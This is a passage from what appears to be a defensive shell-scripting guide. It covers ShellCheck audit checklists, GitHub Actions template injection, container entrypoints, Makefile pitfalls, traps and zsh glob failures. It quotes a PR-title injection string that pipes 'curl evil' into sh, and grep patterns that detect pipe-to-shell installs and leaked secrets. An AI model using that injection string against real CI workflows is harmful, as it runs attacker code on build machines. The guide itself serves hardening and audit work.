      substitution in help text** rather than literal characters. `--severity=error` ships that.
      
      - Also lint scripts *embedded* elsewhere: Dockerfile `RUN` blocks (hadolint integrates
        ShellCheck), GitHub Actions `run:` blocks (actionlint embeds ShellCheck), Makefile
        recipes (extract or keep recipes one-line calling real scripts).
      - Suppressions only inline, narrowest scope, with justification:
      
      ```bash
      # shellcheck disable=SC2086  # $FLAGS is a space-separated allowlist built above, splitting intended
      ```
      
        Repo-wide disables in `.shellcheckrc` for *bug-class* codes (SC2086, SC2046, SC2155,
        SC2064) are an audit finding in themselves.
      - shfmt settings belong in `.editorconfig` so editor, hook, and CI agree.
      
      ## Audit checklist
      
      - [ ] **Any secret passed as an assignment prefix to a command using `<(…)`?** (§2a) The
            prefix does not reach the process substitution — measured in bash and zsh — so the
            helper runs without it and the command still exits 0. Export in a subshell or use a
            pipe; never `env VAR=… cmd`, which returns the value to argv.
      
      - [ ] **Linters invoked the way the gate invokes them** — flags and file selection read out
            of the hook/CI config (`sota-devsecops` rules/09 §5, which owns this); a mismatched
            `shfmt -i` is a false failure at best and, with `-w` nearby, a whole-tree reformat
      - [ ] **ShellCheck run at `--severity=style`**, not `error` (§7): SC2006 is *style* and catches
            backticks inside an unquoted heredoc, which are live command substitution
      
      - [ ] **Interceptor recursion** (§3a): does any wrapper, shim, alias or shell-function
            override invoke a command name that its **own namespace shadows**? For each wrapper,
            list the commands it calls and check each against the wrapper's own directory.
      - [ ] If a wrapper must call out, does it use an **absolute path** resolved at generation
            time, a `PATH` with the shim directory removed, or `command`/`builtin` in a function —
            never a bare name? Note the function form is bounded (bash `FUNCNEST`, **unset by
            default** → SIGSEGV; zsh 700) while the `PATH`-shim form is **not bounded at all**.
      - [ ] For scripts generated from templates: does the outer templating layer treat **comments**
            as literal text? A `${a#@}` inside a `#` comment still raises `KeyError` under Python
            `str.format`.
      
      - [ ] `grep -rn 'eval ' --include='*.sh'` → every hit CRITICAL until proven constant-input
            (SC2294 hints at array-eval misuse).
      - [ ] `grep -rn 'bash -c\|sh -c' --include='*.sh' Makefile* Dockerfile*` with `$` inside
            the string → CRITICAL/HIGH.
      - [ ] `ssh .*\$` and `su -c .*\$` — remote re-parsing injection; check for `printf '%q'`.
      - [ ] SC2064 — `trap "$cmd" ...` with double quotes (expands now, runs later — often
            stale/injected values).
      - [ ] Secrets in argv: `grep -rni 'password\|token\|secret\|api[_-]key' --include='*.sh'`
            then trace each into argv (`-p"$X"`, `-H "Auth.* $X"`, URL userinfo `https://user:$X@`)
            → CRITICAL.
      - [ ] `set -x` (or `bash -x` in shebang/CI) in scripts handling secrets without `set +x`
            bracketing → HIGH.
      - [ ] `env\|printenv\|declare -p` piped to logs/files in secret-bearing contexts.
      - [ ] Privileged scripts (cron files, `sudo` callers, Docker root entrypoints) missing
            explicit `PATH=` and `umask` → HIGH; `CDPATH` not unset → MEDIUM.
      - [ ] `grep -rn 'sudo ' --include='*.sh'` — variable after sudo, `sudo -S`, blanket sudo,
            `sudo .* >` redirects.
      - [ ] `grep -rn 'curl[^|]*|[[:space:]]*\(ba\)\?sh\|wget -qO- .*| *sh' -r .` → CRITICAL in
            anything that runs unattended; check install scripts for checksum/signature
            verification and version pinning (no `/latest/`).
      - [ ] Predictable temp names: `grep -rn '/tmp/[^$]*\$\$\|/tmp/[a-zA-Z0-9._-]*\b' --include='*.sh'`
            without mktemp → HIGH (CRITICAL if script runs as root).
      - [ ] `chmod .*60[0]\|chmod .*7[07][07]` *after* content written to sensitive files.
      - [ ] No shellcheck/shfmt in CI config (`.github/workflows`, `.gitlab-ci.yml`,
            `Jenkinsfile`) for a repo containing `*.sh` → HIGH (process gap).
      - [ ] `.shellcheckrc` blanket-disabling SC2086/SC2046/SC2155/SC2064 → finding.
      
    • 04-ci-and-operational.md 13.3 KB
      # 04 — CI & Operational Scripts
      
      Shell embedded in CI YAML, container entrypoints, Makefiles, and long-running jobs.
      Smaller file; pipeline-wide hardening lives in `sota-devsecops`.
      
      ## 1. GitHub Actions (and CI generally) shell pitfalls
      
      **Default shell is not your preamble.** On Linux runners GitHub Actions runs `run:` steps
      with `bash -e` (no `pipefail`, no `-u`). Set it explicitly per workflow/job:
      
      ```yaml
      defaults:
        run:
          shell: bash   # 'bash' keyword = bash --noprofile --norc -eo pipefail {0}
      ```
      
      The bare `shell: bash` keyword adds `-o pipefail`; still no `-u` — put `set -u` (or the
      full `set -euo pipefail`) at the top of nontrivial steps.
      
      **`${{ }}` is template injection, not a variable.** Expressions are substituted into the
      script *before* the shell parses it — a PR title of `"; curl evil | sh; "` executes:
      
      ```yaml
      # CRITICAL
      - run: echo "PR title: ${{ github.event.pull_request.title }}"
      
      # GOOD — pass via env; shell sees a normal quoted variable
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: printf 'PR title: %s\n' "$TITLE"
      ```
      
      Treat ALL `github.event.*`, branch names, commit messages, issue/PR text as attacker-
      controlled. Lint with `actionlint` (embeds ShellCheck for run blocks) and audit with
      `zizmor` (template injection, credential persistence, excessive permissions). Full
      taxonomy → `sota-devsecops`.
      
      **Multiline `run:` blocks**: each step is one script — a failing middle line only stops
      the step because of `-e`; verify the effective shell options for your CI (GitLab uses
      `sh`/`bash` without pipefail unless you set it; Jenkins `sh` step is `/bin/sh -xe`).
      YAML quoting compounds shell quoting: prefer `run: |` literal blocks; avoid `run: "..."`
      double-quoted YAML where `\` and `"` get re-escaped.
      
      **Step outputs/files**: quote and delimit anything written to `$GITHUB_OUTPUT`/`$GITHUB_ENV`
      — multiline or attacker-influenced values need a random heredoc delimiter, or they inject
      extra variables:
      
      ```bash
      { printf 'body<<%s\n' "$delim"; printf '%s\n' "$body"; printf '%s\n' "$delim"; } >> "$GITHUB_OUTPUT"
      ```
      
      **Beyond ~30 lines, move the step body to a committed script** (`ci/build.sh`): testable
      locally, lintable by ShellCheck directly, diffable, and immune to YAML quoting.
      
      ## 1a. Never batch a state-changing command with exploratory reads
      
      Batching independent calls into one invocation is right for **reads** and wrong the moment
      one element mutates: the reads around it then describe a state that no longer exists, and
      re-running the batch repeats the mutation.
      
      ```bash
      # BAD — three "checks", but the third destroys what the first just printed
      cosign public-key --sk                 # read the key
      ykman piv certificates export f9 -     # read the attestation cert
      cosign piv-tool generate-key           # <-- REGENERATES THE KEY
      ```
      
      Field-reported exactly so: the recorded public key was stale within the same command.
      Harmless there because nothing had been signed with it — against a provisioned slot the
      same shape destroys a key in use.
      
      **Run mutations alone and read back in a separate call.** The tell is a verb:
      `generate`, `create`, `init`, `reset`, `rotate`, `delete`, `set-`, `apply`. If one appears
      in a batch, split it out. Note this cuts *against* the efficiency habit of grouping
      independent calls — the habit is correct and does not distinguish reads from writes, which
      is precisely why a mutation reads as "one more check".
      
      ## 1b. Separate a gate from the thing it gates with `&&`, never `;`
      
      The one-liner that runs a check and then does the irreversible thing is where the
      check quietly stops mattering:
      
      ```bash
      # BAD — the push runs whether or not the gate passed. `;` ignores exit status.
      ./scripts/check.sh; git push
      ./scripts/check.sh | tail -2; git push          # worse: the pipe hides it too
      
      # GOOD — the gate is a precondition, not a preamble
      ./scripts/check.sh && git push
      ./scripts/check.sh || { echo "gate failed, not pushing" >&2; exit 1; }
      git push
      ```
      
      This is the *interactive* twin of `set -e` (§1, rules/01 §2): in a script errexit would
      stop you; typed at a prompt or joined with `;` in a CI `run:` block, nothing does. The
      tell is that you saw the failure scroll past and the next command ran anyway.
      
      Two aggravating factors worth naming, because they make the failure invisible rather
      than merely ignored:
      
      - **A pipe rewrites the status.** `check.sh | tail -2` reports `tail`'s success, so even
        `&&` would not save you — read the producer's status (`${PIPESTATUS[0]}` in bash,
        `${pipestatus[1]}` in zsh, rules/01 §3) or drop the pipe.
      - **Diff-based checks can legitimately differ before and after a push**, because their
        merge base changes. Re-run the gate *after* the branch exists upstream before
        concluding the tree is broken — and never let the first, pre-push result authorise the
        push.
      
      ## 2. Container entrypoint scripts
      
      **`exec` the final process — non-negotiable.** Without `exec`, the shell stays as PID 1,
      your app is a child, and `docker stop`/Kubernetes sends SIGTERM to the *shell*, which does
      not forward it; the app gets SIGKILL after the grace period (data loss, dropped requests).
      
      ```bash
      #!/usr/bin/env bash
      set -euo pipefail
      # setup: render config, wait-for-deps, migrations...
      exec "$@"            # replaces shell; app becomes PID 1, receives signals directly
      ```
      
      - `CMD`/args pass through as `"$@"` — keeps `docker run image alternate-command` working.
      - PID 1 extras: no default reaping of orphaned zombies and some default-signal quirks —
        if the app forks workers and doesn't reap, add a minimal init (`docker run --init`,
        tini, or Kubernetes' shared PID namespace) rather than shell loops.
      - If the entrypoint must stay resident (rare — e.g., multi-process wrapper), it must
        `trap 'kill -TERM "$child"' TERM INT`, start the child with `&`, and `wait "$child"`
        in a loop (re-`wait` after the trap fires to collect the real status).
      
      **Privilege drop**: run the image as root only long enough to fix volume permissions,
      then drop — `exec gosu app:app "$@"` or `exec su-exec app:app "$@"` (alpine). Never
      `sudo` (TTY/signal/env baggage) and never `su - app -c "..."` (re-parses the command
      string — injection; and signals stop at `su`). Prefer `USER app` in the Dockerfile when
      no root setup is needed at all.
      
      **Dialect**: alpine/distroless-adjacent base images have no bash — entrypoints there are
      `#!/bin/sh` + busybox-clean (rules/02 §5), or you install bash explicitly. CRLF line
      endings in an entrypoint produce `/usr/bin/env: 'bash\r': No such file` — enforce LF via
      `.gitattributes` (`*.sh text eol=lf`).
      
      ## 3. Makefile shell gotchas
      
      - **Each recipe line is a separate shell.** `cd dir` on one line does not affect the next.
        Either chain with `&&` + backslash continuations, or use `.ONESHELL:` (GNU make ≥3.82)
        to run the whole recipe in one shell.
      - **Make's default shell is `/bin/sh`** and default flags are `-c` only — no `-e`!
        A failing command in the middle of a `cmd1; cmd2` line does not stop the recipe. Set:
      
      ```make
      SHELL := bash
      .SHELLFLAGS := -euo pipefail -c
      .ONESHELL:
      .DELETE_ON_ERROR:      # remove half-built targets when a recipe fails
      MAKEFLAGS += --no-builtin-rules
      ```
      
        With `.ONESHELL`, `.SHELLFLAGS` must include `-c` last; without `-e` semantics only the
        last line's status fails the recipe.
      - **`$$` escaping**: make expands `$` itself — shell variables in recipes are `$$var`,
        `$$(cmd)`, awk fields `$$1`. A single `$var` silently expands a (usually empty) make
        variable — classic silent-corruption bug:
      
      ```make
      # BAD — $f is the make variable 'f' (empty); loop body runs once with empty name
      clean-logs:
      	for f in *.log; do rm -f $f; done
      # GOOD
      clean-logs:
      	for f in ./*.log; do rm -f -- "$$f"; done
      ```
      
      - `@` hides commands and their context when they fail — avoid on nontrivial lines, or
        pair with explicit error messages.
      - Recipes longer than ~5 lines: move to `scripts/*.sh` and call it — ShellCheck can't see
        inside Makefiles, and `$$`-doubling makes review error-prone.
      
      ## 4. Long-running script logging
      
      Deploy/migration/batch scripts that run for minutes need logs usable during *and* after.
      
      - **Timestamps on every line.** Pipe through a stamper rather than littering `date` calls:
      
      ```bash
      log() { printf '%(%Y-%m-%dT%H:%M:%S%z)T %s\n' -1 "$*"; }          # bash ≥4.2, no fork
      main 2>&1 | while IFS= read -r line; do log "$line"; done          # stamp child output
      # or: ts '%FT%T%z' (moreutils), or systemd-cat / logger for the journal/syslog
      ```
      
      - **Line buffering**: a script piping into `tee`/a file sees child stdout switch to 4–64 KB
        block buffering — logs appear in bursts and the tail is lost on crash. Force line mode
        for chatty children: `stdbuf -oL -eL cmd | tee "$log"` (GNU coreutils).
      - Standard capture pattern — console and file, stderr distinguishable:
      
      ```bash
      exec > >(stdbuf -oL tee -a "$logfile") 2>&1
      ```
      
        Note: process substitution may still be flushing when the script exits; for strict
        ordering on exit, `wait` is not available for procsubs portably — accept it or log to
        file directly and `tail -f` separately.
      - Progress/heartbeat for anything > ~60s silent (CI runners kill "stalled" jobs;
        e.g. `printf 'still waiting for %s (%ds)\n' "$svc" "$elapsed"` every 15–30s in wait loops).
      - Log decisions and inputs (versions, target, flags) at start; final status + duration at
        end; everything through the stderr/stdout discipline of rules/02 §3 so CI annotates
        errors correctly.
      - Cron jobs: cron's environment is minimal (PATH=/usr/bin:/bin, no profile) — set PATH
        in-script (rules/03 §3); redirect both streams to a log or you get silent failures /
        mail spam: `*/5 * * * * /opt/job.sh >>/var/log/job.log 2>&1`.
      
      ## Killing a backgrounded build orphans its children
      
      A backgrounded build is a process **tree**. `kill <pid>` reaps the shell you started and
      leaves the compiler running:
      
      ```
      kill 92354                 # the runner shell — returns instantly, looks done
      # still running:
      #   97262  cargo test --tests --manifest-path … --target-dir …/llvm-cov-target
      #   97082  cargo-llvm-cov llvm-cov --workspace --all-features …
      #    8676  …/debug/deps/integration-…            <- from an EARLIER run
      ```
      
      Why it matters beyond tidiness: restart now and two builds contend for one `target/`, and
      **the second run's failure gets attributed to the change you are testing**. That is the same
      misattribution as `sota-code-security` rules/15 §2.1's sixth mode, arriving through the
      environment instead of the harness.
      
      Kill the **group**, having started it in its own: `setsid cmd &` then `kill -- -"$pgid"`.
      (`rules/05` §3 shows the inside-the-script half — `trap 'trap - TERM; kill -TERM -- -$$'`
      forwards a signal to your own group; this is the same mechanism applied from outside.)
      Otherwise sweep by pattern — and **verify the sweep before restarting**, because `pkill -f`
      matches the sweeping shell's own argv (`rules/01` §3) and a survivor is invisible until it
      corrupts the next run.
      
      ## Audit checklist
      
      - [ ] **Background builds are killed by process group, not by pid**, and the sweep is
            verified before a restart — an orphaned compiler contends for `target/` and the next
            run's failure then reads as a defect in the change under test
      
      - [ ] **No compound invocation mixes reads with a mutation** (§1a). Grep batched commands
            for `generate|create|init|reset|rotate|delete|set-|apply`; a mutation among reads
            makes every reading around it stale and repeats on re-run. High on hardware, where
            the mutation is usually irreversible.
      
      - [ ] **Gate-then-act joined by `;`**: `grep -rnE '\.(sh|py)[^&|]*; *(git (push|tag|commit)|kubectl|terraform apply|rm )' --include='*.sh' .` — a check whose exit status the next command ignores. Also flag `check | tail`/`| head` before an action: the pipe hides the producer's status.
      - [ ] Workflows: `grep -rn '\${{' .github/workflows/ | grep -i 'head_ref\|pull_request\.\(title\|body\)\|commits\|issue\.\(title\|body\)\|comment\.body'`
            inside `run:` → CRITICAL (injection); fix via `env:` indirection.
      - [ ] `grep -rLn 'shell: bash\|pipefail' .github/workflows/*.yml` — steps relying on
            default shell semantics → MEDIUM.
      - [ ] `>> "$GITHUB_OUTPUT"` / `$GITHUB_ENV` writes of non-constant values without heredoc
            delimiters → HIGH.
      - [ ] Run `actionlint` (embeds ShellCheck) and `zizmor` on workflows; `hadolint` on
            Dockerfiles (DL4006 pipefail-in-RUN, SC-rules inside RUN).
      - [ ] Entrypoints: `grep -rn '"\$@"\|exec ' docker/ *entrypoint*` — final command lacking
            `exec` → HIGH (signal loss); `su -c`/`sudo` for privilege drop instead of
            gosu/su-exec/USER → HIGH.
      - [ ] `#!/usr/bin/env bash` entrypoint with alpine/busybox base image in Dockerfile → HIGH.
      - [ ] `git ls-files --eol -- '*.sh'` showing `w/crlf` → HIGH for any image-bound script;
            missing `*.sh text eol=lf` in `.gitattributes` → LOW.
      - [ ] Makefiles: missing `.SHELLFLAGS`/`SHELL := bash` where recipes use bashisms;
            `grep -n '\$[a-zA-Z{(]' Makefile` inside recipes for single-`$` shell vars
            (silent empty expansion) → HIGH; multi-line recipes without `&&` or `.ONESHELL`.
      - [ ] Missing `.DELETE_ON_ERROR` in Makefiles producing artifacts → MEDIUM.
      - [ ] Long-running scripts: no timestamps, no heartbeat in wait loops, `tee` without
            `stdbuf -oL` for crash-time tails → LOW/MEDIUM.
      - [ ] Crontabs/`cron.d`: entries without output redirection or with implicit PATH → MEDIUM.
      
    • 05-constructs-and-cleanup.md 12.8 KB
      # 05 — Constructs & Cleanup: arrays, IFS, traps, tests, globbing
      
      Scope: the constructs a script is assembled from, and the way each of them fails. Split out
      of `rules/01` at v1.37.0, which keeps the safety baseline — shebang, `set -e` semantics,
      quoting, and the zsh deviations that bite pasted commands. Quoting is `rules/01` §3; this
      file is what you reach for once the expansion itself is correct.
      
      ## 1. Arrays for command building (SC2089/SC2090/SC2086)
      
      ```bash
      # BAD — flags in a string; quoting inside the string does NOT survive expansion
      opts="-v --exclude '*.log'"
      rsync $opts src/ dst/
      
      # GOOD — array; conditional construction is natural
      rsync_opts=(-a --delete)
      [[ ${VERBOSE:-} ]] && rsync_opts+=(-v)
      [[ ${EXCLUDE:-} ]] && rsync_opts+=(--exclude "$EXCLUDE")
      rsync "${rsync_opts[@]}" -- "$src/" "$dst/"
      ```
      
      Empty-array expansion under `set -u` errors on bash < 4.4; if you must support old bash,
      use `${arr[@]+"${arr[@]}"}`. On bash ≥ 4.4 `"${arr[@]}"` on an empty array expands to
      zero words, which is what you want.
      
      ## 2. IFS handling
      
      - Never set `IFS` globally to "fix" splitting — fix the quoting instead. A global
        `IFS=$'\n'` changes behavior of every subsequent `read`, `$*`, and unquoted expansion.
      - Scope IFS to the single command that needs it:
      
      ```bash
      # GOOD — IFS scoped to read; -r stops backslash mangling
      while IFS= read -r line; do
        process "$line"
      done < "$input"
      
      # GOOD — split a known-delimited string into an array, scoped
      IFS=, read -r -a fields <<< "$csv_line"
      ```
      
      - `read` without `-r` is almost always a bug (SC2162). `IFS=` before `read` preserves
        leading/trailing whitespace.
      
      ## 3. trap-based cleanup and mktemp
      
      Every script that creates temp files, locks, background jobs, or partial state gets:
      
      ```bash
      tmpdir=""
      cleanup() {
        local status=$?
        # idempotent: safe to run twice, guards every action
        [[ -n $tmpdir && -d $tmpdir ]] && rm -rf -- "$tmpdir"
        return "$status"   # don't mask the real exit code
      }
      trap cleanup EXIT
      
      tmpdir=$(mktemp -d)   # never $$-based or hardcoded /tmp names (race + symlink attack)
      ```
      
      - `trap ... EXIT` covers normal exit, `set -e` exits, and (in bash) signal-initiated exits
        *if* the signal traps re-raise. Standard pattern when you need signal-specific behavior:
      
      ```bash
      trap cleanup EXIT
      trap 'trap - TERM; kill -TERM -- -$$' INT TERM   # forward to process group, then EXIT trap runs
      ```
      
      - Cleanup must be **idempotent** (EXIT can follow INT) and must not assume variables are
        set (it can run before initialization completes — hence `tmpdir=""` first, guards inside).
      - Don't put logic after `exit` relying on the trap having "finished": the trap *is* the end.
      - `mktemp -d` for dirs, `mktemp` for files; honor `TMPDIR`. GNU vs BSD `mktemp` differ on
        templates — `mktemp -d "${TMPDIR:-/tmp}/myscript.XXXXXX"` is portable enough; plain
        `mktemp -d` works on both modern GNU and macOS.
      
      ## 3a. Sourcing a script to test one function relocates the script
      
      "Run one function from a large script" is how shell gets tested at all, and both obvious
      moves fail — the second one **silently**:
      
      ```bash
      # attempt 1 — strip the entry point and eval the rest
      eval "$(sed '$d' scripts/ci-local.sh)"
      #   -> BASH_SOURCE[0]: unbound variable
      #   the script derives REPO_ROOT from BASH_SOURCE, which eval never sets
      
      # attempt 2 — strip it into a temp file and source THAT
      sed '$d' scripts/ci-local.sh > /tmp/lib.sh && source /tmp/lib.sh
      #   -> no error at all. REPO_ROOT is now /tmp, because BASH_SOURCE points at the COPY,
      #      and the script's own `cd -- "$REPO_ROOT"` has moved you out of the repository
      ```
      
      Attempt 2 is the dangerous one: it succeeds. Every `git` call in every function under test
      then fails, and the harness emits a **correct, well-written diagnostic about healthy code** —
      field-measured as `the compiled-in scan found 0 path(s); it has stopped working`, from a scan
      that was fine. That is `sota-code-security` rules/15 §2.1's sixth failure mode: the harness is
      newer than the subject, so it owns the prior.
      
      **The better fix is in the script, not the test.** Guard the entry point so the file can be
      sourced as a library:
      
      ```bash
      [[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"
      ```
      
      Failing that, source the copy and `cd` back before calling anything:
      
      ```bash
      bash -c 'source "$SCRATCH/lib.sh"; cd "$REAL_REPO_ROOT"; the_function_under_test'
      ```
      
      Any script that resolves its own root from `BASH_SOURCE`/`$0` — which is the correct way to
      do it — carries this hazard for anyone who sources it.
      
      ## 3b. In-place edit on a symlink — and why `sed -i` is the trap, not the fix
      
      `sed -i` and `perl -pi` are treated as interchangeable spellings of "edit this file in
      place". They are not — and the difference is **per implementation, not per tool**, which is
      the part that bites: the safe behaviour exists only on the platform you develop on.
      
      Measured 2026-09-13, editing a symlink that points at a regular file:
      
      | implementation | `-i` on a symlink | exit | the link afterwards |
      |---|---|---|---|
      | **BSD sed** (macOS `/usr/bin/sed`) | refuses: `in-place editing only works for regular files` | **1** | intact |
      | **GNU sed 4.9** (Debian) | **silently replaces the link with a regular file** | **0** | gone |
      | **BusyBox sed 1.37.0** (Alpine) | **silently replaces the link with a regular file** | **0** | gone |
      | **perl -pi** (5.34.1) | **silently replaces the link with a regular file** | **0** | gone |
      | GNU sed `-i --follow-symlinks` | edits the **target**, link preserved | 0 | intact |
      
      In every silent case the **target is never modified**, so the two paths diverge without a
      word: the former target still holds the old content, and what was a view of it is now an
      independent copy.
      
      **The dangerous shape is the platform split, and it runs the wrong way.** A developer on
      macOS types `sed -i`, sees it refuse on a symlink, and concludes the idiom is safe. The same
      script in CI — Debian, Alpine, any Linux image — destroys the link silently and exits 0. The
      machine where you *test* the safety is the only machine that has it.
      
      - **Do not rely on `sed -i` refusing.** That is BSD behaviour, not `sed` behaviour. The only
        portable assumption is that an in-place edit **replaces** a symlink.
      - **Enumerate regular files when you sweep**, rather than paths:
        `git ls-files -s '*.md' | awk '$1=="100644"{print $4}'` — mode `120000` is a symlink.
        `find . -type f` excludes them for the same reason; `find . -type l` finds them.
      - **`--follow-symlinks` is GNU-only**, so a script that needs it is a script that has just
        become non-portable — say so in a comment rather than discovering it on a BSD runner.
      - **`git status` shows this as `T` (typechange), not `M`** — one character apart in a list
        you are skimming, and the only signal you get.
      
      Why it is worth a rule rather than a footnote: **a repository's symlinks are usually load
      bearing, and a sweep is exactly what destroys them.** Field-reported the same day:
      `git ls-files '*.md' | xargs perl -pi -e …`, run to hand-test a probe, converted a repo's
      tracked `CLAUDE.md` and `GEMINI.md` into regular files, and `git add -A` staged the type
      change before anyone noticed.
      
      ## 3c. A hard link does not survive the way tools actually update files
      
      §3b is an in-place edit destroying a **symlink**. This is the mirror: reaching for a **hard**
      link to avoid that, and getting a failure mode that is strictly worse because nothing breaks.
      
      Measured 2026-09-13:
      
      ```console
      $ ln real.txt hard.txt      # same inode: 51720584 51720584, contents agree
      $ printf 'v2\n' > .tmp && mv -f .tmp real.txt      # how an atomic writer updates
      $ cat real.txt; cat hard.txt
      v2
      v1                          # inodes now 51720587 vs 51720584
      $ ln somedir somedir2
      ln: somedir: Is a directory
      ```
      
      **Nothing errors and no link is broken** — `hard.txt` is simply a stale file that looks
      correct. Compare a symlink, whose failure mode is loud and obvious.
      
      - **Almost nothing edits a file in place.** git never does; nor does any "atomic write"
        (`mktemp` + `mv`), which is most config-writing tools, most editors, and most formatters.
        Each one writes a new inode and renames over the old name, and every hard link to the old
        inode silently keeps the old content.
      - **You cannot hard-link a directory at all**, so any design that links *directories* into
        place is out before you start — a symlink to a directory also picks up new files inside it
        for free, which a per-file link can never do.
      - **Prefer the symlink and accept its loud failure.** "Broken link" is an error message;
        "stale content that looks correct" is a bug report six weeks later.
      
      ## 4. Test constructs, printf, declarations
      
      - `[[ ]]` over `[ ]` in bash: no word splitting of unquoted vars, `&&`/`||` inside,
        `=~` regex, `<`/`>` string comparison without escaping. Use `[ ]` only in POSIX `sh`.
      - Arithmetic: `(( count > 3 ))`, not `[ $count -gt 3 ]`. But beware `(( x ))` returns
        nonzero when x=0 — under `set -e`, `(( count++ ))` with count=0 kills the script;
        write `(( ++count ))` or `count=$((count + 1))`.
      - `printf` over `echo` for any variable data: `echo` behavior with `-n`, `-e`, and
        backslashes is implementation-defined (dash interprets escapes by default; a variable
        that *is* `-n` vanishes). `printf '%s\n' "$var"` is exact (SC2028 hints at this).
      - `local` for every function variable (SC2034 finds unused leaks); remember the SC2155
        split-declaration rule from `rules/01` §2.
      - `readonly` (or `declare -r`) for constants and config resolved at startup — catches
        accidental reassignment at the point of the bug:
      
      ```bash
      readonly SCRIPT_NAME=${0##*/}
      readonly DEFAULT_REGION=${REGION:-eu-central-1}
      ```
      
      ## 5. Globbing pitfalls and never parsing ls
      
      - A glob that matches nothing stays **literal**: `rm ./*.tmp` with no matches tries to
        remove the file `./*.tmp`. Choose explicitly:
        - `shopt -s nullglob` — no match → zero words (right for loops over files; beware: makes
          `ls *.tmp` become bare `ls`).
        - `shopt -s failglob` — no match → error (right for "these files must exist" scripts).
      - `for f in ./*` not `for f in *` — a file named `-rf` becomes an option otherwise; same
        reason as `--` separators.
      - Dotfiles are excluded from `*` unless `shopt -s dotglob`.
      - **Never parse `ls`** (SC2012/SC2045): output is for humans, mangles non-ASCII/newline
        names, and splits on whitespace.
      
      ```bash
      # BAD
      for f in $(ls /data); do ...
      count=$(ls | wc -l)
      
      # GOOD
      for f in /data/*; do
        [[ -e $f ]] || continue   # or rely on nullglob
        ...
      done
      count=$(find /data -mindepth 1 -maxdepth 1 -printf '.' | wc -c)   # GNU; or a glob-into-array
      files=(/data/*); count=${#files[@]}                               # with nullglob
      ```
      
      - [ ] Any command **pasted into an interactive shell** that passes a glob as a flag value
            (`--include`, `--exclude`, `-name`) has it **quoted** — unquoted, zsh's `NOMATCH`
            aborts the command and, under `2>/dev/null`, the result is indistinguishable from a
            genuine no-match (`rules/06` §1). Every sweep read as an *absence* has been positive-controlled
            against a pattern known to be present.
      
      ## Audit checklist
      
      - [ ] **Any hard link used to keep two paths in sync?** (§3c) It survives nothing that
            writes-and-renames — git, `mktemp`+`mv`, most editors and formatters — and the stale
            copy is a valid file with no broken link and no error. Directories cannot be hard-linked
            at all. Prefer a symlink: its failure is loud.
      - [ ] **Any in-place sweep (`perl -pi`, `sed -i`) over a path list that could contain a
            symlink?** (§3b) Measured: **GNU sed, BusyBox sed and `perl -pi` all replace the link
            with a regular file at exit 0**, target untouched, the two copies then diverging. Only
            **BSD** sed refuses — so a macOS developer sees the safe behaviour and CI does not.
            Never rely on the refusal; enumerate regular files instead
            (`git ls-files -s | awk '$1=="100644"{print $4}'`, or `find -type f`), and remember
            `git status` reports this as `T`, not `M`.
      
      - [ ] **Scripts that resolve their own root guard their entry point** (§3a) —
            `[[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"` — so a caller can source them to test one
            function without the script `cd`-ing itself somewhere else and failing every `git` call
      
      - [ ] SC2046 (unquoted `$(...)`), SC2068 (unquoted `$@`/array), SC2048 (`$*`).
      - [ ] SC2012/SC2045 — `grep -rn 'in \$(ls\|ls .*| *wc\|ls .*| *grep' --include='*.sh'`
      - [ ] SC2162 — `grep -rn 'read [^-]' --include='*.sh'` (missing `-r`).
      - [ ] Temp files: `grep -rn '/tmp/[a-zA-Z]\|\$\$' --include='*.sh'` — predictable names,
            `$$`-suffixed paths → HIGH (race), must be `mktemp`.
      - [ ] Cleanup: every `mktemp` has a reachable `trap ... EXIT`; cleanup function is
            idempotent and preserves `$?`.
      - [ ] `grep -rn 'echo .*\$' --include='*.sh'` — variable data through `echo` (SC2028 area);
            MEDIUM unless value is constrained.
      - [ ] Glob loops without nullglob/failglob or `[[ -e $f ]]` guard.
      
    • 06-ad-hoc-commands.md 26.6 KB
      # 06 — Ad-hoc commands: the ones you type to check something
      
      Scope: the commands nobody commits — a sweep, a probe, a one-liner pasted from a
      checklist, a quick container copy. They are unlinted, unreviewed, and run against the
      system under test, so when they go wrong they produce a false finding **about the
      product**, or damage the thing they were inspecting. Split out of `rules/01` at v1.38.0 —
      its zsh, sweep and blast-radius sections became §1, §2 and §3 here. The blast-radius and
      process-table sections moved on to `rules/08` at v1.42.2, keeping their numbers,
      and the listing and selection sections (§5, §5a) to `rules/09` (· v1.43.1) the same
      way. Quoting itself stays in
      `rules/01` §3, which this file assumes you have read.
      
      ## 1. zsh is not bash — the deviations that bite *pasted* commands
      
      Committed scripts are immune: every one carries a `#!/usr/bin/env bash` shebang, so bash
      runs them whatever your login shell is. The exposure is **interactive, pasted, and
      agent-issued commands** — including the audit checklists in this library, which are
      written to be pasted, and **macOS's interactive shell is zsh**. Check the operator's shell
      rather than assuming; then treat the table below as live.
      
      | | bash | zsh | how it fails |
      |---|---|---|---|
      | unquoted `$var` with spaces **or newlines** — incl. any `$(…)` file list | splits into words | **joins** into one argument (`rules/01` §3) | **loudly** — a usage error, exit 2, from the callee — but a *file-list* command then searches **nothing**, and empty output reads as a clean tree |
      | `$?` after a pipeline | last stage (`${PIPESTATUS[0]}` for the first) | same, but `${pipestatus[1]}` (`rules/01` §3) | **quietly** — a wrong status, read as truth |
      | unquoted glob in a flag value | passed through **literally**, command runs | `NOMATCH` **aborts the command** | **silently** — and it fakes a clean result |
      
      **The third is the dangerous one: a failed glob means the command never runs at all.**
      zsh's `NOMATCH` is on by default, so a glob matching nothing is a hard error rather than a
      literal word. Verified on zsh 5.9 / bash 5.3.15 / Darwin 25.6.0:
      
      ```zsh
      grep -rn --include=*.md TODO .     # zsh: "no matches found: --include=*.md" — grep NEVER RAN
                                         # bash: works, because the word is passed through
      grep -rn --include='*.md' TODO .   # correct in both
      ```
      
      **Why it earns a rule of its own: with `2>/dev/null` it is byte-identical to a real
      no-match.** That redirect is the standard idiom for hiding `Permission denied` noise in a
      recursive search, and it also hides the one line that would have told you:
      
      ```zsh
      out=$(grep -rn --include=*.md   hello . 2>/dev/null)   # BROKEN:  stdout empty, exit 1
      out=$(grep -rn --include='*.md' ABSENT . 2>/dev/null)  # GENUINE: stdout empty, exit 1
      ```
      
      Same stdout, same exit code. **An audit sweep written this way cannot distinguish "the
      codebase is clean" from "my search never executed"** — a false-clean produced by the tool
      these checklists are pasted into — `sota-code-security` rules/15's instrument
      failure arriving through the shell.
      
      Rules:
      
      - **Quote every glob you intend the *callee* to interpret** — `--include`, `--exclude`,
